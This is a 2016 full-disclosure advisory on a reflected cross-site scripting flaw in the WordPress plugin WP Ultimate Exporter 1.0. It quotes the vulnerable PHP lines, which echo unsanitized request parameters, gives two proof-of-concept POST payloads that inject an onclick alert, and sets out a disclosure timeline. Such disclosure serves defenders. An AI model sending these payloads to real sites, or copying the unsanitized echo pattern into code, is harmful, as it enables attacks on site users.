WordPress WP Ultimate Exporter 1.0 Cross Site Scripting
Posted on 25 February 2016
## FULL DISCLOSURE #Product : WP Ultimate Exporter #Exploit Author : Rahul Pratap Singh #Version : 1.0 #Home page Link : https://wordpress.org/plugins/wp-ultimate-exporter/ #Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/> #Linkedin : https://in.linkedin.com/in/rahulpratapsingh94 #Date : 24/Feb/2016 XSS Vulnerability: ---------------------------------------- Description: ---------------------------------------- "export_name" and "export_post_type_name" parameters are not sanitized that leads to Reflected XSS. ---------------------------------------- Vulnerable Code: ---------------------------------------- File Name: /wp-ultimate-exporter/includes/WUExporterUI.php Found at line:88 $export_post_type = isset($_REQUEST['export_name']) ? $_REQUEST['export_name'] : '' ; Found at line:89 $custom_post = isset($_REQUEST['export_post_type_name']) ? $_REQUEST['export_post_type_name'] : '' ;?> Found at line:91 <input type ="hidden" value = '<?php echo $export_post_type?>' name='export_type_name'> Found at line:92 <input type ="hidden" value = '<?php echo $custom_post?>' name='export_custompost_type'> ---------------------------------------- Exploit: ---------------------------------------- POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype export_name="/><input type=text onclick=alert(/XSS/)><!--" POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype export_post_type_name="/><input type=text onclick=alert(/XSS/)><!--" ---------------------------------------- POC: ---------------------------------------- https://0x62626262.files.wordpress.com/2016/02/wp-ultimate-exporter.png?w=1700 https://0x62626262.files.wordpress.com/2016/02/wp-ultimate-exporter1.png?w=1700 Vulnerability Disclosure Timeline: → January 30, 2016 – Bug discovered, initial report to WordPress → February 1, 2016 – WordPress response, plugin taken down → February 24, 2016 – Plugin up with same version [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
